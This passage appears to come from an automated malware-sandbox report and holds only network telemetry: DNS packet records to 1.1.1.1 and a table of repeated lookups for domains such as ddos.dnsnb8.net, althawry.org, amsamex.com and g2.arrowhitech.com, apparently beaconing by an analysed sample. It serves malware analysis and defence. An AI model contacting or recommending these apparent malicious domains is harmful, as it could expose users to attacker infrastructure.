                                                          Jul 5, 2024 08:00:42.697320938 CEST6539653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:42.731231928 CEST53653961.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:43.951392889 CEST5292153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:43.965790987 CEST53529211.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:50.779335976 CEST5071053192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:50.788791895 CEST53507101.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:53.121074915 CEST6310353192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:53.128945112 CEST53631031.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:54.374022961 CEST5296453192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:54.381455898 CEST53529641.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:55.613816977 CEST5865153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:55.621721983 CEST53586511.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:00.841696024 CEST5425153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:00.965745926 CEST53542511.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:03.239377022 CEST5710353192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:03.249253035 CEST53571031.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:04.948453903 CEST5596953192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:04.981628895 CEST53559691.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:06.162147045 CEST6029153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:06.177695990 CEST53602911.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:07.492264032 CEST5005053192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:07.503093004 CEST53500501.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:12.650871992 CEST6493953192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:12.669128895 CEST53649391.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:14.452856064 CEST4926753192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:14.557995081 CEST53492671.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:15.843566895 CEST6062853192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:15.854171038 CEST53606281.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:18.191632032 CEST5432553192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:18.203603029 CEST53543251.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:20.556958914 CEST5726753192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:20.565452099 CEST53572671.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:23.053236008 CEST5389753192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:23.069874048 CEST53538971.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:25.595273018 CEST6242053192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:25.609267950 CEST53624201.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:28.385219097 CEST5708353192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:28.395493984 CEST53570831.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:31.112893105 CEST5298653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:31.125930071 CEST53529861.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:33.741411924 CEST5935753192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:33.750034094 CEST53593571.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:36.235272884 CEST6395553192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:36.246207952 CEST53639551.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:38.661269903 CEST5839653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:38.787053108 CEST53583961.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:41.482666969 CEST5793353192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:41.492688894 CEST53579331.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:44.669581890 CEST4933853192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:44.681210995 CEST53493381.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:48.250076056 CEST6201753192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:48.259423971 CEST53620171.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:49.571484089 CEST5452653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:49.581517935 CEST53545261.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:50.820352077 CEST5991953192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:50.827579021 CEST53599191.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:52.977857113 CEST5531653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:52.987390995 CEST53553161.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:54.728328943 CEST5053053192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:54.737904072 CEST53505301.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:56.014244080 CEST6104653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:56.024760008 CEST53610461.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:57.638854027 CEST5836953192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:57.646744013 CEST53583691.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:01:59.571264029 CEST6036253192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:01:59.583265066 CEST53603621.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:00.816931009 CEST6517653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:00.826436043 CEST53651761.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:02.917048931 CEST6092153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:02.924823046 CEST53609211.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:05.601489067 CEST5781553192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:05.609020948 CEST53578151.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:09.054421902 CEST6532753192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:09.061712027 CEST53653271.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:10.561094046 CEST5782753192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:10.600605965 CEST53578271.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:12.214797974 CEST5359253192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:12.223826885 CEST53535921.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:13.503660917 CEST6156053192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:13.511064053 CEST53615601.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:17.160840988 CEST5787753192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:17.168203115 CEST53578771.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:18.478367090 CEST6471153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:18.487375021 CEST53647111.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:19.840368986 CEST5198553192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:19.849179029 CEST53519851.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:21.562990904 CEST6497853192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:21.579143047 CEST53649781.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:24.531913996 CEST5842853192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:24.539797068 CEST53584281.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:27.588579893 CEST6370053192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:27.596216917 CEST53637001.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:30.614377022 CEST4948253192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:30.743700027 CEST53494821.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:32.538213015 CEST5107753192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:32.569633961 CEST53510771.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:33.806863070 CEST6201053192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:33.814826012 CEST53620101.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:35.466943026 CEST5681853192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:35.476891041 CEST53568181.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:38.558432102 CEST6345253192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:38.567996979 CEST53634521.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:41.601713896 CEST6372953192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:41.608850956 CEST53637291.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:44.357516050 CEST5589653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:44.368947983 CEST53558961.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:46.915597916 CEST6073853192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:46.926604033 CEST53607381.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:49.848547935 CEST4954553192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:49.859778881 CEST53495451.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:52.730391026 CEST5008853192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:52.738008022 CEST53500881.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:55.321875095 CEST6136853192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:55.331173897 CEST53613681.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:58.751871109 CEST5773053192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:58.762164116 CEST53577301.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:02:59.977602005 CEST6551053192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:02:59.991789103 CEST53655101.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:01.617708921 CEST5473853192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:01.625420094 CEST53547381.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:04.715150118 CEST6230753192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:04.725260973 CEST53623071.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:07.840996981 CEST6467653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:07.880419016 CEST6467653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:08.082581997 CEST53646761.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:08.082595110 CEST53646761.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:09.485202074 CEST5087253192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:09.493228912 CEST53508721.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:11.315170050 CEST6249353192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:11.334716082 CEST53624931.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:12.670011044 CEST6069353192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:12.680397034 CEST53606931.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:15.906996965 CEST5821153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:15.923064947 CEST53582111.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:17.457390070 CEST6057453192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:17.465393066 CEST53605741.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:18.660561085 CEST5332953192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:18.668385029 CEST53533291.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:20.568975925 CEST5184153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:20.584556103 CEST53518411.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:23.370753050 CEST5871453192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:23.388854980 CEST53587141.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:23.390492916 CEST5871453192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:23.397694111 CEST53587141.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:26.843708992 CEST6090253192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:26.852513075 CEST53609021.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:28.526628017 CEST5563453192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:28.536401033 CEST53556341.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:30.450555086 CEST5757153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:30.469033003 CEST53575711.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:31.803684950 CEST6108753192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:31.811045885 CEST53610871.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:37.281517029 CEST6230553192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:37.290736914 CEST53623051.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:38.863493919 CEST4929153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:38.877362967 CEST53492911.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:40.193758965 CEST5657653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:40.202064991 CEST53565761.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:41.425532103 CEST5769653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:41.432662964 CEST53576961.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:44.521576881 CEST5169153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:44.536982059 CEST53516911.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:47.424505949 CEST5864053192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:47.435411930 CEST53586401.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:49.994155884 CEST4954853192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:50.004174948 CEST53495481.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:53.832828999 CEST5995153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:53.863370895 CEST5995153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:54.059813023 CEST53599511.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:54.070167065 CEST53599511.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:55.291810989 CEST5184953192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:55.303136110 CEST53518491.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:56.924763918 CEST5627653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:56.932800055 CEST53562761.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:03:59.386408091 CEST6187153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:03:59.397994041 CEST53618711.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:04:01.469876051 CEST5638453192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:04:01.477427959 CEST53563841.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:04:02.926549911 CEST6029353192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:04:02.933801889 CEST53602931.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:04:07.465717077 CEST5068853192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:04:07.473206997 CEST53506881.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:04:08.719635963 CEST5712453192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:04:08.729021072 CEST53571241.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:04:11.149795055 CEST5208053192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:04:11.157244921 CEST53520801.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:04:12.472647905 CEST6237953192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:04:12.483407021 CEST53623791.1.1.1192.168.2.7

                                                          DNS Queries

                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                          Jul 5, 2024 08:00:06.934624910 CEST192.168.2.71.1.1.10x4fa3Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:07.193887949 CEST192.168.2.71.1.1.10x73f9Standard query (0)ddos.dnsnb8.netA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:07.553580999 CEST192.168.2.71.1.1.10xf705Standard query (0)www.careerdesk.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:08.661057949 CEST192.168.2.71.1.1.10x1a84Standard query (0)arthur.niria.bizA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:09.302329063 CEST192.168.2.71.1.1.10xde37Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:09.422202110 CEST192.168.2.71.1.1.10xc745Standard query (0)apple-pie.inA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:10.619453907 CEST192.168.2.71.1.1.10x24b7Standard query (0)ahmediye.netA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:11.380954027 CEST192.168.2.71.1.1.10x5d49Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:11.504194021 CEST192.168.2.71.1.1.10x207eStandard query (0)ampyazilim.com.trA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:13.460506916 CEST192.168.2.71.1.1.10x209bStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:14.729729891 CEST192.168.2.71.1.1.10x29ecStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:20.556289911 CEST192.168.2.71.1.1.10x62e9Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:24.782612085 CEST192.168.2.71.1.1.10x5878Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:26.496519089 CEST192.168.2.71.1.1.10xc09eStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:27.785792112 CEST192.168.2.71.1.1.10xe49aStandard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:33.076734066 CEST192.168.2.71.1.1.10x70ebStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:34.376909018 CEST192.168.2.71.1.1.10x11aeStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:35.714098930 CEST192.168.2.71.1.1.10x437dStandard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:40.911403894 CEST192.168.2.71.1.1.10xe868Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:42.697320938 CEST192.168.2.71.1.1.10x1bffStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:43.951392889 CEST192.168.2.71.1.1.10xf958Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:50.779335976 CEST192.168.2.71.1.1.10x8d53Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:53.121074915 CEST192.168.2.71.1.1.10x52c7Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:54.374022961 CEST192.168.2.71.1.1.10x8afaStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:55.613816977 CEST192.168.2.71.1.1.10x32d7Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:00.841696024 CEST192.168.2.71.1.1.10x43beStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:03.239377022 CEST192.168.2.71.1.1.10xbdaeStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:04.948453903 CEST192.168.2.71.1.1.10x7b45Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:06.162147045 CEST192.168.2.71.1.1.10xb25cStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:07.492264032 CEST192.168.2.71.1.1.10xb68eStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:12.650871992 CEST192.168.2.71.1.1.10xe685Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:14.452856064 CEST192.168.2.71.1.1.10x3c13Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:15.843566895 CEST192.168.2.71.1.1.10x2203Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:18.191632032 CEST192.168.2.71.1.1.10x4ef5Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:20.556958914 CEST192.168.2.71.1.1.10xd7acStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:23.053236008 CEST192.168.2.71.1.1.10xf76fStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:25.595273018 CEST192.168.2.71.1.1.10x3cb0Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:28.385219097 CEST192.168.2.71.1.1.10x4c4fStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:31.112893105 CEST192.168.2.71.1.1.10xb3d7Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:33.741411924 CEST192.168.2.71.1.1.10x8223Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:36.235272884 CEST192.168.2.71.1.1.10xd84dStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:38.661269903 CEST192.168.2.71.1.1.10xfb8bStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:41.482666969 CEST192.168.2.71.1.1.10x3de3Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:44.669581890 CEST192.168.2.71.1.1.10x8890Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:48.250076056 CEST192.168.2.71.1.1.10x1f6eStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:49.571484089 CEST192.168.2.71.1.1.10x33ecStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:50.820352077 CEST192.168.2.71.1.1.10x91d0Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:52.977857113 CEST192.168.2.71.1.1.10x547aStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:54.728328943 CEST192.168.2.71.1.1.10x435fStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:56.014244080 CEST192.168.2.71.1.1.10xaac2Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:57.638854027 CEST192.168.2.71.1.1.10xe4aStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:59.571264029 CEST192.168.2.71.1.1.10xcd8aStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:00.816931009 CEST192.168.2.71.1.1.10x4427Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:02.917048931 CEST192.168.2.71.1.1.10x3647Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:05.601489067 CEST192.168.2.71.1.1.10xf0aeStandard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:09.054421902 CEST192.168.2.71.1.1.10x59bfStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:10.561094046 CEST192.168.2.71.1.1.10x52f7Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:12.214797974 CEST192.168.2.71.1.1.10x88d9Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:13.503660917 CEST192.168.2.71.1.1.10xd7b8Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:17.160840988 CEST192.168.2.71.1.1.10x80ebStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:18.478367090 CEST192.168.2.71.1.1.10x5caStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:19.840368986 CEST192.168.2.71.1.1.10xf782Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:21.562990904 CEST192.168.2.71.1.1.10x367fStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:24.531913996 CEST192.168.2.71.1.1.10x27c3Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:27.588579893 CEST192.168.2.71.1.1.10x2f53Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:30.614377022 CEST192.168.2.71.1.1.10xd1eaStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:32.538213015 CEST192.168.2.71.1.1.10x8f95Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:33.806863070 CEST192.168.2.71.1.1.10x8386Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:35.466943026 CEST192.168.2.71.1.1.10x6d3eStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:38.558432102 CEST192.168.2.71.1.1.10xa44cStandard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:41.601713896 CEST192.168.2.71.1.1.10x306Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:44.357516050 CEST192.168.2.71.1.1.10x97baStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:46.915597916 CEST192.168.2.71.1.1.10xbc89Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:49.848547935 CEST192.168.2.71.1.1.10x51fdStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:52.730391026 CEST192.168.2.71.1.1.10x899fStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:55.321875095 CEST192.168.2.71.1.1.10x26caStandard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:58.751871109 CEST192.168.2.71.1.1.10xfac5Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:59.977602005 CEST192.168.2.71.1.1.10xa4c9Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:01.617708921 CEST192.168.2.71.1.1.10xf170Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:04.715150118 CEST192.168.2.71.1.1.10x29eaStandard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:07.840996981 CEST192.168.2.71.1.1.10x4684Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:07.880419016 CEST192.168.2.71.1.1.10x4684Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:09.485202074 CEST192.168.2.71.1.1.10xa56bStandard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:11.315170050 CEST192.168.2.71.1.1.10xf04dStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:12.670011044 CEST192.168.2.71.1.1.10xf077Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:15.906996965 CEST192.168.2.71.1.1.10x2020Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:17.457390070 CEST192.168.2.71.1.1.10x4c6cStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:18.660561085 CEST192.168.2.71.1.1.10x76d5Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:20.568975925 CEST192.168.2.71.1.1.10xd165Standard query (0)althawry.orgA (IP address)IN (0x0001)false
